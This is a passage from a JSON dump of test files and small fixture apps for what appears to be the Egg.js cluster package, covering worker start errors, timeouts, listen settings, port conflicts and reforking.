{\n            EGG_APP_WORKER_LOGGER_LEVEL: 'INFO',\n          }),\n        },\n      });\n\n      return (\n        app\n          // .debug()\n          .expect('code', 1)\n          .expect('stdout', /\\[app_worker] beforeExit success/)\n          .end()\n      );\n    });\n\n    it('should FrameworkErrorformater work during app boot', () => {\n      app = cluster('apps/app-start-framework-error', {\n        opt: {\n          env: Object.assign({}, process.env, {\n            EGG_APP_WORKER_LOGGER_LEVEL: 'INFO',\n          }),\n        },\n      });\n\n      return (\n        app\n          .debug()\n          .expect('code', 1)\n          .expect('stderr', /CustomError: mock error/)\n          // .expect('stderr', /CustomError: mock error \\[ https\\:\\/\\/eggjs\\.org\\/zh-cn\\/faq\\/customPlugin_99 \\]/)\n          .end()\n      );\n    });\n\n    it('should FrameworkErrorformater work during app boot ready', () => {\n      app = cluster('apps/app-start-framework-ready-error', {\n        opt: {\n          env: Object.assign({}, process.env, {\n            EGG_APP_WORKER_LOGGER_LEVEL: 'INFO',\n          }),\n        },\n      });\n\n      return (\n        app\n          // .debug()\n          .expect('code', 1)\n          .expect('stderr', /CustomError: mock error/)\n          // .expect('stderr', /CustomError: mock error \\[ https\\:\\/\\/eggjs\\.org\\/zh-cn\\/faq\\/customPlugin_99 \\]/)\n          .end()\n      );\n    });\n\n    it.skip('should remove error listener after ready', async () => {\n      app = cluster('apps/app-error-listeners');\n      await app.ready();\n      await app.httpRequest().get('/').expect({\n        beforeReady: 1,\n        afterReady: 1,\n      });\n      await app.close();\n    });\n\n    it('should ignore listen to other port', async () => {\n      app = cluster('apps/other-port');\n      // app.debug();\n      await app.notExpect('stdout', /started at 7002/).end();\n    });\n  });\n\n  describe.skip('app worker error in env === \"default\"', () => {\n    beforeAll(async () => {\n      mm.env('default');\n      app = cluster('apps/app-die');\n      // app.debug();\n      await app.ready();\n    });\n    afterAll(async () => {\n      await app.close();\n      await mm.restore();\n    });\n\n    it('should restart', async () => {\n      await app.httpRequest().get('/exit').expect(200);\n\n      // wait app worker restart\n      await scheduler.wait(5000);\n\n      app.expect('stdout', /app_worker#1:\\d+ disconnect/);\n      app.expect('stdout', /app_worker#2:\\d+ started/);\n    });\n  });\n\n  describe.skip('app worker error when env === \"local\"', () => {\n    beforeAll(() => {\n      mm.env('local');\n      app = cluster('apps/app-die');\n      // app.debug();\n      return app.ready();\n    });\n    afterAll(async () => {\n      await app.close();\n      await mm.restore();\n    });\n\n    it('should restart disable on local env', async () => {\n      try {\n        await app.httpRequest().get('/exit');\n      } catch {\n        // ignore\n      }\n\n      await scheduler.wait(3000);\n\n      app.expect('stderr', /worker:\\d+ disconnect/);\n      app.expect('stderr', /don't fork new work \\(refork: false, reforkCount: 0\\)/);\n    });\n  });\n\n  describe.skip('app worker kill when env === \"local\"', () => {\n    beforeAll(async () => {\n      mm.env('local');\n      app = cluster('apps/app-kill');\n      // app.debug();\n      await app.ready();\n    });\n    afterAll(async () => {\n      await app.close();\n      await mm.restore();\n    });\n\n    it('should exit', async () => {\n      try {\n        await app.httpRequest().get('/kill?signal=SIGKILL');\n      } catch {\n        // ignore\n      }\n\n      // wait app worker restart\n      await scheduler.wait(3000);\n\n      app.expect('stderr', /worker:\\d+ disconnect/);\n      app.expect('stderr', /don't fork new work/);\n    });\n  });\n\n  describe('app start timeout', () => {\n    it('should exit', async () => {\n      app = cluster('apps/app-start-timeout');\n      await app\n        // .debug()\n        .expect('code', 1)\n        .expect('stderr', /\\[master\\] app_worker#1:\\d+ start fail, exiting with code:1/)\n        .expect('stderr', /\\[app_worker\\] start timeout, exiting with code:1/)\n        .expect('stderr', /nodejs.AppWorkerDiedError: \\[master\\]/)\n        .expect('stderr', /app_worker#1:\\d+ died/)\n        .end();\n    });\n  });\n\n  describe('listen config', () => {\n    const sockFile = getFilepath('apps/app-listen-path/my.sock');\n    beforeEach(() => {\n      mm.env('default');\n    });\n    afterEach(async () => {\n      await app.close();\n      await mm.restore();\n    });\n    afterEach(() => rm(sockFile, { force: true, recursive: true }));\n\n    it.skip('should set default port 170xx then config.listen.port is null', async () => {\n      app = cluster('apps/app-listen-without-port');\n      // app.debug();\n      await app.ready();\n\n      app.expect('code', 0);\n      app.expect('stdout', /egg started on http:\\/\\/127.0.0.1:\\d+/);\n      // app.expect('stderr', /port should be number, but got null/);\n    });\n\n    it.skip('should use port in config', async () => {\n      app = cluster('apps/app-listen-port', { port: 0 });\n      // app.debug();\n      await app.ready();\n\n      app.expect('code', 0);\n      app.expect('stdout', /egg started on http:\\/\\/127.0.0.1:17010/);\n\n      await request('http://0.0.0.0:17010').get('/').expect('done').expect(200);\n\n      await request('http://127.0.0.1:17010').get('/').expect('done').expect(200);\n\n      await request('http://localhost:17010').get('/').expect('done').expect(200);\n\n      await request('http://127.0.0.1:17010').get('/port').expect('17010').expect(200);\n\n      // ipv6\n      // await request('http://[::1]:17010')\n      //   .get('/')\n      //   .expect('done')\n      //   .expect(200);\n      // await request('http://[::1]:17010')\n      //   .get('/port')\n      //   .expect('17010')\n      //   .expect(200);\n    });\n\n    it.skip('should use hostname in config', async () => {\n      const url = ip() + ':17010';\n\n      app = cluster('apps/app-listen-hostname', { port: 0 });\n      // app.debug();\n      await app.ready();\n\n      app.expect('code', 0);\n      app.expect('stdout', new RegExp(`egg started on http://${url}`));\n\n      await request(url).get('/').expect('done').expect(200);\n\n      try {\n        const response = await urllib.request('http://127.0.0.1:17010', {\n          dataType: 'text',\n        });\n        assert(response.status === 200);\n        assert(response.data === 'done');\n        throw new Error('should not run');\n      } catch (err: any) {\n        assert(/ECONNREFUSED/.test(err.message));\n      }\n    });\n\n    it('should use path in config', async () => {\n      app = cluster('apps/app-listen-path');\n      // app.debug();\n      await app.ready();\n\n      app.expect('code', 0);\n      app.expect('stdout', new RegExp(`egg started on ${sockFile}`));\n\n      const sock = encodeURIComponent(sockFile);\n      await request(`http+unix://${sock}`).get('/').expect('done').expect(200);\n    });\n\n    it.skipIf(process.platform !== 'linux')('should use reusePort in config on Linux', async () => {\n      app = cluster('apps/app-listen-reusePort', { port: 0, workers: 2 });\n      // app.debug();\n      await app.ready();\n\n      app.expect('code', 0);\n      app.expect('stdout', /egg started on http:\\/\\/127.0.0.1:17010/);\n\n      await request('http://127.0.0.1:17010').get('/').expect('done').expect(200);\n      await request('http://127.0.0.1:17010').get('/port').expect('17010').expect(200);\n    });\n\n    it('should set reusePort=true in config (non-Linux will fallback to false)', async () => {\n      app = cluster('apps/app-listen-reusePort', { port: 0 });\n      // app.debug();\n      await app.ready();\n\n      app.expect('code', 0);\n      app.expect('stdout', /egg started on http:\\/\\/127.0.0.1:17010/);\n\n      await request('http://127.0.0.1:17010').get('/').expect('done').expect(200);\n      await request('http://127.0.0.1:17010').get('/port').expect('17010').expect(200);\n    });\n  });\n\n  it('should exit when EADDRINUSE', async () => {\n    mm.env('default');\n\n    app = cluster('apps/app-server', { port: 17001 });\n    // app.debug();\n    await app.ready();\n\n    let app2: MockApplication | undefined;\n    try {\n      app2 = cluster('apps/app-server', { port: 17001 });\n      app2.debug();\n      await app2.ready();\n\n      app2.expect('code', 1);\n      app2.expect('stderr', /\\[app_worker] server got error: bind EADDRINUSE null:17001, code: EADDRINUSE/);\n      app2.expect('stdout', /don't fork/);\n    } finally {\n      if (app2) {\n        await app2.close();\n      }\n    }\n  });\n\n  describe('refork', () => {\n    beforeEach(() => {\n      mm.env('default');\n    });\n\n    it.skip('should refork when app_worker exit', async () => {\n      app = cluster('apps/app-die');\n      // app.debug();\n      await app.ready();\n\n      await app.httpRequest().get('/exit').expect(200);\n\n      await scheduler.wait(10000);\n\n      app.expect('stdout', /app_worker#1:\\d+ started at \\d+/);\n      app.expect('stderr', /new worker:\\d+ fork/);\n      app.expect('stdout', /app_worker#1:\\d+ disconnect/);\n      app.expect('stdout', /app_worker#2:\\d+ started at \\d+/);\n\n      await app.httpRequest().get('/exit').expect(200);\n\n      await scheduler.wait(10000);\n\n      app.expect('stdout', /app_worker#3:\\d+ started at \\d+/);\n      await app.close();\n    });\n\n    it('should not refork when starting', async () => {\n      app = cluster('apps/app-start-error');\n      // app.debug();\n      await app.ready();\n\n      app.expect('stdout', /don't fork/);\n      app.expect('stderr', /app_worker#1:\\d+ start fail/);\n      app.expect('code', 1);\n\n      await app.close();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-debug-port/agent.js",
    "content": "module.exports = () => {\n  console.log('agent argv: ', process.execArgv);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-debug-port/inject1.js",
    "content": "console.log('@@inject1.js run');\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-debug-port/package.json",
    "content": "{\n  \"name\": \"agent-debug-port\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-die/agent.js",
    "content": "'use strict';\n\nprocess.on('message', function (msg) {\n  if (msg.action === 'kill-agent') process.exit(1);\n});\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-die/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.messenger.on('agent-start', () => console.log('app get agent-start'));\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-die/package.json",
    "content": "{\n  \"name\": \"agent-die\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-die/start.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nrequire('../../../../index').startCluster({\n  baseDir: __dirname,\n  eggPath: path.dirname(require.resolve('@ali/egg')),\n  workers: 1,\n});\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-die-on-forkapp/agent.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  process.on('message', (msg) => {\n    if (msg.action === 'kill-agent') process.exit(1);\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-die-on-forkapp/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  process.send({\n    action: 'kill-agent',\n  });\n  setTimeout(app.readyCallback('kill-agent-callback'), 2000);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-die-on-forkapp/package.json",
    "content": "{\n  \"name\": \"agent-die-on-forkapp\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-die-onboot/agent.js",
    "content": "'use strict';\n\nthrow new Error('app worker throw');\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-die-onboot/app.js",
    "content": "'use strict';\n\nconsole.log('agent-error-but-app-start');\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-die-onboot/package.json",
    "content": "{\n  \"name\": \"agent-die\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-die-onboot/start.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nrequire('../../../../index').startCluster({\n  baseDir: __dirname,\n  eggPath: path.dirname(require.resolve('@ali/egg')),\n  workers: 1,\n});\n\n// 循环出错说明 master 没有挂\nsetTimeout(function () {\n  process.exit();\n  // coverage 会比较慢\n}, 5000);\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-exit/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {\n  agent.messenger.on('egg-ready', () => {\n    process.exit(1);\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-exit/package.json",
    "content": "{\n  \"name\": \"agent-start-error\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-start-error/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {\n  const done = agent.readyCallback('prepare-agent');\n  done(new Error('mock error'));\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-start-error/package.json",
    "content": "{\n  \"name\": \"agent-start-error\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-start-framework-error/agent.js",
    "content": "const { FrameworkBaseError } = require('@eggjs/errors');\nclass CustomError extends FrameworkBaseError {\n  get module() {\n    return 'customPlugin';\n  }\n}\n\nmodule.exports = class {\n  configWillLoad() {\n    throw new CustomError('mock error', 99);\n  }\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-start-framework-error/package.json",
    "content": "{\n  \"name\": \"agent-start-framework-error\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-start-framework-ready-error/agent.js",
    "content": "const { FrameworkBaseError } = require('@eggjs/errors');\n\nclass CustomError extends FrameworkBaseError {\n  get module() {\n    return 'customPlugin';\n  }\n}\n\nmodule.exports = class {\n  async didLoad() {\n    throw new CustomError('mock error', 99);\n  }\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-start-framework-ready-error/package.json",
    "content": "{\n  \"name\": \"agent-start-framework-ready-error\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-worker-threads/agent.js",
    "content": "'use strict';\n\nconst workerThreads = require('worker_threads');\n\nmodule.exports = () => {\n  console.log('workerId: %d', workerThreads.threadId);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-worker-threads/config/plugin.js",
    "content": "// not support tegg plugins on worker_threads mode\nexports.teggEventbus = false;\nexports.tegg = false;\nexports.teggConfig = false;\nexports.teggController = false;\nexports.teggDal = false;\nexports.teggSchedule = false;\nexports.teggOrm = false;\nexports.teggAjv = false;\nexports.teggAop = false;\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-worker-threads/package.json",
    "content": "{\n  \"name\": \"agent-worker-threads\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-worker-threads-error/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {\n  const done = agent.readyCallback('prepare-agent');\n  done(new Error('worker_threads mock error'));\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/agent-worker-threads-error/package.json",
    "content": "{\n  \"name\": \"agent-worker-threads-error\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-die/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/exit', (ctx) => {\n    setTimeout(() => {\n      throw new Error('exit');\n    }, 10);\n    ctx.body = 'exit';\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-die/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys,foo';\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-die/package.json",
    "content": "{\n  \"name\": \"app-die\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-error-listeners/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = {\n      beforeReady: app.beforeReady,\n      afterReady: app.listeners('error').length,\n    };\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-error-listeners/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  // before cluster ready\n  app.ready(() => {\n    app.beforeReady = app.listeners('error').length;\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-error-listeners/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-error-listeners/package.json",
    "content": "{\n  \"name\": \"app-error-listeners\",\n  \"chair\": {\n    \"type\": \"ali\"\n  }\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-exit/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.messenger.on('egg-ready', () => {\n    process.exit(1);\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-exit/package.json",
    "content": "{\n  \"name\": \"agent-start-error\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-kill/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/kill', (ctx) => {\n    const signal = ctx.query.signal && ctx.query.signal.toUpperCase();\n    ctx.logger.info('kill by signal', signal, process.execArgv);\n    process.kill(process.pid, signal);\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-kill/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys,foo';\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-kill/package.json",
    "content": "{\n  \"name\": \"app-kill\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-hostname/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = 'done';\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-hostname/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  // don't use the port that egg-mock defined\n  app._options.port = undefined;\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-hostname/config/config.default.js",
    "content": "'use strict';\n\nconst address = require('address');\n\nmodule.exports = {\n  keys: '123',\n  cluster: {\n    listen: {\n      port: 17010,\n      hostname: address.ip(),\n    },\n  },\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-hostname/package.json",
    "content": "{\n  \"name\": \"app-listen-hostname\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-path/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = 'done';\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-path/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  // don't use the port that egg-mock defined\n  app._options.port = undefined;\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-path/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (app) => {\n  return {\n    keys: '123',\n    cluster: {\n      listen: {\n        path: path.join(app.baseDir, 'my.sock'),\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-path/package.json",
    "content": "{\n  \"name\": \"app-listen-port\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-port/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = 'done';\n  });\n\n  app.get('/port', (ctx) => {\n    ctx.body = ctx.app.options.port;\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-port/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  // don't use the port that egg-mock defined\n  app._options.port = undefined;\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-port/config/config.default.js",
    "content": "module.exports = {\n  keys: '123',\n  cluster: {\n    listen: {\n      port: 17010,\n    },\n  },\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-port/package.json",
    "content": "{\n  \"name\": \"app-listen-port\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-reusePort/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = 'done';\n  });\n\n  app.get('/port', (ctx) => {\n    ctx.body = ctx.app.options.port;\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-reusePort/app.js",
    "content": "module.exports = (app) => {\n  // don't use the port that egg-mock defined\n  app._options.port = undefined;\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-reusePort/config/config.default.js",
    "content": "module.exports = {\n  keys: '123',\n  cluster: {\n    listen: {\n      port: 17010,\n      reusePort: true,\n    },\n  },\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-reusePort/package.json",
    "content": "{\n  \"name\": \"app-listen-reusePort\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-without-port/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  // don't use the port that egg-mock defined\n  app._options.port = undefined;\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-without-port/config/config.default.js",
    "content": "module.exports = {\n  cluster: {\n    listen: {\n      port: null,\n    },\n  },\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-listen-without-port/package.json",
    "content": "{\n  \"name\": \"app-listen-without-port\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-monitor/agent.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  setTimeout(() => {\n    process.send({ action: 'custom-agent' });\n  }, 2000);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-monitor/package.json",
    "content": "{\n  \"name\": \"app-monitor\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-server/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = ctx.app.serverEmit;\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-server/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.on('server', () => {\n    app.serverEmit = true;\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-server/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-server/package.json",
    "content": "{\n  \"name\": \"app-server\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-start-error/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  const done = app.readyCallback('prepare-app');\n  done(new Error('mock error'));\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-start-error/package.json",
    "content": "{\n  \"name\": \"app-start-error\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-start-framework-error/app.js",
    "content": "const { FrameworkBaseError } = require('@eggjs/errors');\nclass CustomError extends FrameworkBaseError {\n  get module() {\n    return 'customPlugin';\n  }\n}\n\nmodule.exports = class {\n  configWillLoad() {\n    throw new CustomError('mock error', 99);\n  }\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-start-framework-error/package.json",
    "content": "{\n  \"name\": \"app-start-framework-error\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-start-framework-ready-error/app.js",
    "content": "const { FrameworkBaseError } = require('@eggjs/errors');\n\nclass CustomError extends FrameworkBaseError {\n  get module() {\n    return 'customPlugin';\n  }\n}\n\nmodule.exports = class {\n  async didLoad() {\n    throw new CustomError('mock error', 99);\n  }\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-start-framework-ready-error/package.json",
    "content": "{\n  \"name\": \"app-start-framework-error\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-start-timeout/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  const done = app.readyCallback('app-timeout');\n  setTimeout(done, 30000);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-start-timeout/config/config.default.js",
    "content": "'use strict';\n\nexports.workerStartTimeout = 1000;\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/app-start-timeout/package.json",
    "content": "{\n  \"name\": \"app-start-timeout\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/before-close/agent.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (agent) => {\n  agent.beforeClose(async () => {\n    console.log('agent closing');\n    await scheduler.wait(10);\n    console.log('agent closed');\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/before-close/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  app.beforeClose(async () => {\n    console.log('app closing');\n    await scheduler.wait(10);\n    console.log('app closed');\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/before-close/package.json",
    "content": "{\n  \"name\": \"egg-cluster\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/check-status/agent.js",
    "content": "'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\n\nmodule.exports = (agent) => {\n  if (fs.existsSync(path.join(agent.baseDir, 'logs/started'))) {\n    process.exit(1);\n  }\n  process.on('message', function (msg) {\n    if (msg.action === 'kill') process.exit(1);\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/check-status/app.js",
    "content": "'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\n\nmodule.exports = (app) => {\n  if (fs.existsSync(path.join(app.baseDir, 'logs/started'))) {\n    process.exit(1);\n  }\n  process.on('message', function (msg) {\n    if (msg.action === 'kill') process.exit(1);\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/check-status/package.json",
    "content": "{\n  \"name\": \"agent-die\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/cluster_mod_app/.gitignore",
    "content": "\nassembly/"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/cluster_mod_app/app/controller/home.js",
    "content": "exports.index = (ctx) => {\n  ctx.body = 'hi cluster';\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/cluster_mod_app/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  // GET / 302 to /portal/i.htm\n  app.redirect('/', '/portal/i.htm', 302);\n\n  // GET /portal/i.htm => controllers/home.js\n  app.get('/portal/i.htm', app.controller.home.index);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/cluster_mod_app/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/cluster_mod_app/package.json",
    "content": "{\n  \"name\": \"cluster_mod_app\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/cluster_mod_sticky/.gitignore",
    "content": "\nassembly/"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/cluster_mod_sticky/app/controller/home.js",
    "content": "exports.index = (ctx) => {\n  ctx.body = 'hi cluster';\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/cluster_mod_sticky/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  // GET / 302 to /portal/i.htm\n  app.redirect('/', '/portal/i.htm', 302);\n\n  // GET /portal/i.htm => controllers/home.js\n  app.get('/portal/i.htm', app.controller.home.index);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/cluster_mod_sticky/app.js",
    "content": "'use strict';\n\nconst net = require('net');\n\nmodule.exports = (app) => {\n  // don't use the port that egg-mock defined\n  app._options.port = undefined;\n  const server = net.createServer();\n  server.listen(9500);\n\n  app.beforeClose(() => {\n    return server.close();\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/cluster_mod_sticky/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n  cluster: {\n    listen: {\n      port: 17010,\n    },\n  },\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/cluster_mod_sticky/package.json",
    "content": "{\n  \"name\": \"cluster_mod_sticky\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/custom-logger/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.loggers.monitorLogger.info('hello monitor!');\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/custom-logger/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    customLogger: {\n      monitorLogger: {\n        file: path.join(appInfo.baseDir, 'logs/monitor.log'),\n        formatter: (meta) => meta.message,\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/custom-logger/package.json",
    "content": "{\n  \"name\": \"custom-logger\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/debug-port/agent.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  console.log('debug port of agent is %s', process.debugPort);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/debug-port/app.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  console.log('debug port of app is %s', process.debugPort);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/debug-port/package.json",
    "content": "{\n  \"name\": \"debug-port\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/egg-ready/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('throw', () => {\n    process.exit(1);\n  });\n  agent.messenger.on('egg-ready', (data) => {\n    console.log(`agent receive egg-ready, with ${data.workers} workers`);\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/egg-ready/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/exception-app', (ctx) => {\n    setTimeout(() => {\n      throw new Error('error');\n    }, 1);\n    ctx.body = 'done';\n  });\n\n  app.get('/exception-agent', (ctx) => {\n    app.messenger.sendToAgent('throw');\n    ctx.body = 'done';\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/egg-ready/app.js",
    "content": "'use strict';\n\nconst cluster = require('cluster');\n\nmodule.exports = function (app) {\n  app.messenger.on('egg-ready', () => {\n    console.log('app receive egg-ready, worker %s', cluster.worker.id);\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/egg-ready/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '111';\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/egg-ready/package.json",
    "content": "{\n  \"name\": \"egg-ready\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework/agent.js",
    "content": "'use strict';\n\nmodule.exports = function () {};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.framework = {};\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework/config/plugin.js",
